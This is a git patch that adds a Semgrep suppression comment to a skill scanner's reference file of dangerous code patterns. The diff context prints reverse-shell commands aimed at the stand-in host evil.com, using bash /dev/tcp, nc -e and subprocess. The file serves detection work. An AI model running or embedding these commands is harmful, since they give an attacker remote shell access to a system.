From 93727f63743e4e49475e9b25fb3077a36d5f954d Mon Sep 17 00:00:00 2001 From: "fix-it-felix-sentry[bot]" <260785270+fix-it-felix-sentry[bot]@users.noreply.github.com> Date: Sun, 26 Apr 2026 21:43:04 +0000 Subject: [PATCH] Suppress false positive Semgrep finding in documentation Add nosemgrep comment to suppress reverse shell detection in dangerous-code-patterns.md reference documentation. This is an intentional example of a dangerous pattern used for educational purposes, not actual malicious code. Fixes: https://linear.app/getsentry/issue/VULN-1570 Fixes: https://linear.app/getsentry/issue/ENG-7524 Co-Authored-By: Claude Sonnet 4.5 --- skills/skill-scanner/references/dangerous-code-patterns.md | 1 + 1 file changed, 1 insertion(+) diff --git a/skills/skill-scanner/references/dangerous-code-patterns.md b/skills/skill-scanner/references/dangerous-code-patterns.md index ccf036d..9740732 100644 --- a/skills/skill-scanner/references/dangerous-code-patterns.md +++ b/skills/skill-scanner/references/dangerous-code-patterns.md @@ -44,6 +44,7 @@ subprocess.Popen(["/bin/sh"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.file ### Subprocess-Based ```python subprocess.Popen("bash -i >& /dev/tcp/evil.com/4444 0>&1", shell=True) +# nosemgrep: skill-reverse-shell os.system("nc -e /bin/sh evil.com 4444") ```